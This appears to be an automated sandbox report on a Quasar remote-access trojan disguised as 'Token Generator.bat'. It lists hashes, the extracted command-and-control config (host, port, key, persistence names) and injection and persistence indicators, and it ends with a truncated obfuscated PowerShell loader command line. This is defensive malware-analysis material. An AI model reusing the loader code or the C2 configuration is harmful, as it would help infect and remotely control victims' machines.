quasar | 9f413ae8218ec74eb61a052e1c2b8b27f8ee7038902db5aaea9c93e0752fa48b

Analysis

max time kernel
300s
max time network
302s
platform
windows11-21h2_x64
resource
win11-20240508-en
resource tags

arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
submitted
26-05-2024 20:56

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General

Target

Token Generator.bat
Size

3.5MB
MD5

e984ebea899379a8c0a47f9308c7370b
SHA1

863330006bef4c55a1bc79771ae989dc0412f717
SHA256

9f413ae8218ec74eb61a052e1c2b8b27f8ee7038902db5aaea9c93e0752fa48b
SHA512

70934def86e93b350e72711e757cbe0a97a9a58259f184e2c97aeea3a2b9f016bb03e4fb499f3876248bfb43edec5e3949599448d95235afcb1b46d71362b975
SSDEEP

49152:HgquNH3RLlp72pnTcrwIBX1F2A5LzeuUxZ3u3AnCH4El0oKYlL:HY

Score

10^/10

quasar token gen execution spyware trojan

Malware Config

Extracted

Family

quasar

Attributes

reconnect_delay
3000

Extracted

Family

quasar

Version

1.4.1

Botnet

Token Gen

uk2.localto.net:6103

Mutex

0c14e9f2-6918-4e50-8463-04ad871c1e3d

Attributes

encryption_key
6BE0D74806BB58E6DB21FA6E3B6DB38B4A72BAFC
install_name
$77-powershell.exe
log_directory
$77-Logs
reconnect_delay
3000
startup_key
Discord
subdirectory
$77-Rootkit

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 4 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4568-14-0x000002A947A70000-0x000002A947F0E000-memory.dmp	family_quasar
behavioral2/memory/1776-52-0x00000117FD2D0000-0x00000117FD5F4000-memory.dmp	family_quasar
C:\Users\Admin\AppData\Local\Temp\Token Generator.exe	family_quasar
behavioral2/memory/1696-63-0x0000000000900000-0x0000000000C24000-memory.dmp	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 3748 created 636 3748 powershell.EXE winlogon.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exe

pid process

1776 powershell.exe
4568 powershell.exe
3332 powershell.exe

description	pid	process	target process
PID 3748 created 636	3748	powershell.EXE	winlogon.exe

pid	process
1776	powershell.exe
4568	powershell.exe
3332	powershell.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Executes dropped EXE 4 IoCs

Processes:

Token Generator.exeInstall.exe$77-powershell.exe$77-powershell.exe

pid process

1696 Token Generator.exe
4768 Install.exe
3400 $77-powershell.exe
4400 $77-powershell.exe

pid	process
1696	Token Generator.exe
4768	Install.exe
3400	$77-powershell.exe
4400	$77-powershell.exe

Drops file in System32 directory 13 IoCs

Processes:

powershell.EXEsvchost.exeOfficeClickToRun.exesvchost.exe

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	OfficeClickToRun.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	svchost.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 3748 set thread context of 3024 3748 powershell.EXE dllhost.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exe

pid process

2096 schtasks.exe
1020 schtasks.exe
4184 schtasks.exe

description	pid	process	target process
PID 3748 set thread context of 3024	3748	powershell.EXE	dllhost.exe

pid	process
2096	schtasks.exe
1020	schtasks.exe
4184	schtasks.exe

Modifies data under HKEY_USERS 57 IoCs

Processes:

powershell.EXEOfficeClickToRun.exesvchost.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Sun, 26 May 2024 20:58:35 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1716757114"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={9978C964-30BF-4865-8D88-D53FC5CFA57E}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE

Modifies registry class 1 IoCs

Processes:

powershell.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.EXEdllhost.exewmiprvse.exe

pid	process
4568	powershell.exe
4568	powershell.exe
3332	powershell.exe
3332	powershell.exe
1776	powershell.exe
1776	powershell.exe
3748	powershell.EXE
3748	powershell.EXE
3748	powershell.EXE
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
1128	wmiprvse.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	4568	powershell.exe
Token: SeDebugPrivilege	3332	powershell.exe
Token: SeIncreaseQuotaPrivilege	3332	powershell.exe
Token: SeSecurityPrivilege	3332	powershell.exe
Token: SeTakeOwnershipPrivilege	3332	powershell.exe
Token: SeLoadDriverPrivilege	3332	powershell.exe
Token: SeSystemProfilePrivilege	3332	powershell.exe
Token: SeSystemtimePrivilege	3332	powershell.exe
Token: SeProfSingleProcessPrivilege	3332	powershell.exe
Token: SeIncBasePriorityPrivilege	3332	powershell.exe
Token: SeCreatePagefilePrivilege	3332	powershell.exe
Token: SeBackupPrivilege	3332	powershell.exe
Token: SeRestorePrivilege	3332	powershell.exe
Token: SeShutdownPrivilege	3332	powershell.exe
Token: SeDebugPrivilege	3332	powershell.exe
Token: SeSystemEnvironmentPrivilege	3332	powershell.exe
Token: SeRemoteShutdownPrivilege	3332	powershell.exe
Token: SeUndockPrivilege	3332	powershell.exe
Token: SeManageVolumePrivilege	3332	powershell.exe
Token: 33	3332	powershell.exe
Token: 34	3332	powershell.exe
Token: 35	3332	powershell.exe
Token: 36	3332	powershell.exe
Token: SeIncreaseQuotaPrivilege	3332	powershell.exe
Token: SeSecurityPrivilege	3332	powershell.exe
Token: SeTakeOwnershipPrivilege	3332	powershell.exe
Token: SeLoadDriverPrivilege	3332	powershell.exe
Token: SeSystemProfilePrivilege	3332	powershell.exe
Token: SeSystemtimePrivilege	3332	powershell.exe
Token: SeProfSingleProcessPrivilege	3332	powershell.exe
Token: SeIncBasePriorityPrivilege	3332	powershell.exe
Token: SeCreatePagefilePrivilege	3332	powershell.exe
Token: SeBackupPrivilege	3332	powershell.exe
Token: SeRestorePrivilege	3332	powershell.exe
Token: SeShutdownPrivilege	3332	powershell.exe
Token: SeDebugPrivilege	3332	powershell.exe
Token: SeSystemEnvironmentPrivilege	3332	powershell.exe
Token: SeRemoteShutdownPrivilege	3332	powershell.exe
Token: SeUndockPrivilege	3332	powershell.exe
Token: SeManageVolumePrivilege	3332	powershell.exe
Token: 33	3332	powershell.exe
Token: 34	3332	powershell.exe
Token: 35	3332	powershell.exe
Token: 36	3332	powershell.exe
Token: SeIncreaseQuotaPrivilege	3332	powershell.exe
Token: SeSecurityPrivilege	3332	powershell.exe
Token: SeTakeOwnershipPrivilege	3332	powershell.exe
Token: SeLoadDriverPrivilege	3332	powershell.exe
Token: SeSystemProfilePrivilege	3332	powershell.exe
Token: SeSystemtimePrivilege	3332	powershell.exe
Token: SeProfSingleProcessPrivilege	3332	powershell.exe
Token: SeIncBasePriorityPrivilege	3332	powershell.exe
Token: SeCreatePagefilePrivilege	3332	powershell.exe
Token: SeBackupPrivilege	3332	powershell.exe
Token: SeRestorePrivilege	3332	powershell.exe
Token: SeShutdownPrivilege	3332	powershell.exe
Token: SeDebugPrivilege	3332	powershell.exe
Token: SeSystemEnvironmentPrivilege	3332	powershell.exe
Token: SeRemoteShutdownPrivilege	3332	powershell.exe
Token: SeUndockPrivilege	3332	powershell.exe
Token: SeManageVolumePrivilege	3332	powershell.exe
Token: 33	3332	powershell.exe
Token: 34	3332	powershell.exe
Token: 35	3332	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

$77-powershell.exe

pid process

3400 $77-powershell.exe

pid	process
3400	$77-powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exepowershell.exeWScript.execmd.exepowershell.exeToken Generator.exe$77-powershell.exepowershell.EXEdllhost.exe

description	pid	process	target process
PID 2000 wrote to memory of 4568	2000	cmd.exe	powershell.exe
PID 2000 wrote to memory of 4568	2000	cmd.exe	powershell.exe
PID 4568 wrote to memory of 3332	4568	powershell.exe	powershell.exe
PID 4568 wrote to memory of 3332	4568	powershell.exe	powershell.exe
PID 4568 wrote to memory of 908	4568	powershell.exe	WScript.exe
PID 4568 wrote to memory of 908	4568	powershell.exe	WScript.exe
PID 908 wrote to memory of 3664	908	WScript.exe	cmd.exe
PID 908 wrote to memory of 3664	908	WScript.exe	cmd.exe
PID 3664 wrote to memory of 1776	3664	cmd.exe	powershell.exe
PID 3664 wrote to memory of 1776	3664	cmd.exe	powershell.exe
PID 1776 wrote to memory of 1696	1776	powershell.exe	Token Generator.exe
PID 1776 wrote to memory of 1696	1776	powershell.exe	Token Generator.exe
PID 1776 wrote to memory of 4768	1776	powershell.exe	Install.exe
PID 1776 wrote to memory of 4768	1776	powershell.exe	Install.exe
PID 1776 wrote to memory of 4768	1776	powershell.exe	Install.exe
PID 1776 wrote to memory of 2096	1776	powershell.exe	schtasks.exe
PID 1776 wrote to memory of 2096	1776	powershell.exe	schtasks.exe
PID 1696 wrote to memory of 1020	1696	Token Generator.exe	schtasks.exe
PID 1696 wrote to memory of 1020	1696	Token Generator.exe	schtasks.exe
PID 1696 wrote to memory of 3400	1696	Token Generator.exe	$77-powershell.exe
PID 1696 wrote to memory of 3400	1696	Token Generator.exe	$77-powershell.exe
PID 1776 wrote to memory of 4400	1776	powershell.exe	$77-powershell.exe
PID 1776 wrote to memory of 4400	1776	powershell.exe	$77-powershell.exe
PID 3400 wrote to memory of 4184	3400	$77-powershell.exe	schtasks.exe
PID 3400 wrote to memory of 4184	3400	$77-powershell.exe	schtasks.exe
PID 3748 wrote to memory of 3024	3748	powershell.EXE	dllhost.exe
PID 3748 wrote to memory of 3024	3748	powershell.EXE	dllhost.exe
PID 3748 wrote to memory of 3024	3748	powershell.EXE	dllhost.exe
PID 3748 wrote to memory of 3024	3748	powershell.EXE	dllhost.exe
PID 3748 wrote to memory of 3024	3748	powershell.EXE	dllhost.exe
PID 3748 wrote to memory of 3024	3748	powershell.EXE	dllhost.exe
PID 3748 wrote to memory of 3024	3748	powershell.EXE	dllhost.exe
PID 3748 wrote to memory of 3024	3748	powershell.EXE	dllhost.exe
PID 3024 wrote to memory of 636	3024	dllhost.exe	winlogon.exe
PID 3024 wrote to memory of 692	3024	dllhost.exe	lsass.exe
PID 3024 wrote to memory of 992	3024	dllhost.exe	svchost.exe
PID 3024 wrote to memory of 480	3024	dllhost.exe	dwm.exe
PID 3024 wrote to memory of 716	3024	dllhost.exe	svchost.exe
PID 3024 wrote to memory of 960	3024	dllhost.exe	svchost.exe
PID 3024 wrote to memory of 1064	3024	dllhost.exe	svchost.exe
PID 3024 wrote to memory of 1076	3024	dllhost.exe	svchost.exe
PID 3024 wrote to memory of 1172	3024	dllhost.exe	svchost.exe
PID 3024 wrote to memory of 1232	3024	dllhost.exe	svchost.exe
PID 3024 wrote to memory of 1268	3024	dllhost.exe	svchost.exe
PID 3024 wrote to memory of 1340	3024	dllhost.exe	svchost.exe
PID 3024 wrote to memory of 1384	3024	dllhost.exe	svchost.exe
PID 3024 wrote to memory of 1400	3024	dllhost.exe	svchost.exe
PID 3024 wrote to memory of 1452	3024	dllhost.exe	svchost.exe
PID 3024 wrote to memory of 1464	3024	dllhost.exe	svchost.exe
PID 3024 wrote to memory of 1560	3024	dllhost.exe	svchost.exe
PID 3024 wrote to memory of 1708	3024	dllhost.exe	svchost.exe
PID 3024 wrote to memory of 1748	3024	dllhost.exe	svchost.exe
PID 3024 wrote to memory of 1768	3024	dllhost.exe	svchost.exe
PID 3024 wrote to memory of 1812	3024	dllhost.exe	svchost.exe
PID 3024 wrote to memory of 1884	3024	dllhost.exe	svchost.exe
PID 3024 wrote to memory of 1968	3024	dllhost.exe	svchost.exe
PID 3024 wrote to memory of 1976	3024	dllhost.exe	svchost.exe
PID 3024 wrote to memory of 1964	3024	dllhost.exe	svchost.exe
PID 3024 wrote to memory of 1852	3024	dllhost.exe	svchost.exe
PID 3024 wrote to memory of 2132	3024	dllhost.exe	spoolsv.exe
PID 3024 wrote to memory of 2272	3024	dllhost.exe	svchost.exe
PID 3024 wrote to memory of 2368	3024	dllhost.exe	svchost.exe
PID 3024 wrote to memory of 2388	3024	dllhost.exe	svchost.exe
PID 3024 wrote to memory of 2432	3024	dllhost.exe	svchost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:636

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
PID:480

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{6d4fe61d-73d6-454d-b21b-7389d0b4e439}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3024

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:992

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:716

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:960

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1064

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1076

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1172

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1232

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:ChlKNlpkKByZ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$uiNTtGhhRCBUxm,[Parameter(Position=1)][Type]$qSYxMpUFnF)$TvWeutOuTnM=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+[Char](102)+'l'+[Char](101)+''+'c'+''+'t'+''+[Char](101)+'d'+'D'+'e'+[Char](108)+'e'+[Char](103)+''+'a'+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InM'+'e'+''+[Char](109)+'ory'+'M'+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+'',$False).DefineType(''+[Char](77)+'y'+[Char](68)+'e'+[Char](108)+''+[Char](101)+'g'+'a'+''+'t'+''+[Char](101)+''+[Char](84)+''+'y'+''+[Char](112)+''+'e'+'',''+[Char](67)+'l'+[Char](97)+'s'+'s'+',P'+'u'+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+','+''+'S'+''+[Char](101)+'ale'+'d'+',An'+[Char](115)+''+[Char](105)+''+[Char](67)+''+'l'+'a'+[Char](115)+''+[Char](115)+''+[Char](44)+''+'A'+'u'+[Char](116)+''+[Char](111)+''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+'s',[MulticastDelegate]);$TvWeutOuTnM.DefineConstructor(''+'R'+''+'T'+''+'S'+'p'+'e'+''+'c'+''+[Char](105)+''+[Char](97)+''+[Char](108)+'Na'+[Char](109)+''+'e'+''+[Char](44)+''+[Char](72)+'i'+[Char](100)+''+[Char](101)+''+'B'+'y'+[Char](83)+''+'i'+''+[Char](103)+''+','+'Pu'+[Char](98)+''+'l'+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$uiNTtGhhRCBUxm).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+'t'+''+[Char](105)+'me'+','+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$TvWeutOuTnM.DefineMethod(''+[Char](73)+''+'n'+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+'P'+'ub'+'l'+'i'+[Char](99)+''+[Char](44)+'Hi'+[Char](100)+''+'e'+''+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+','+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+[Char](108)+'ot'+[Char](44)+''+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+''+[Char](117)+'a'+[Char](108)+'',$qSYxMpUFnF,$uiNTtGhhRCBUxm).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+[Char](116)+'i'+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+'n'+''+'a'+''+[Char](103)+''+'e'+''+'d'+'');Write-Output $TvWeutOuTnM.CreateType();}$DNWyDcAFHfcyU=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And 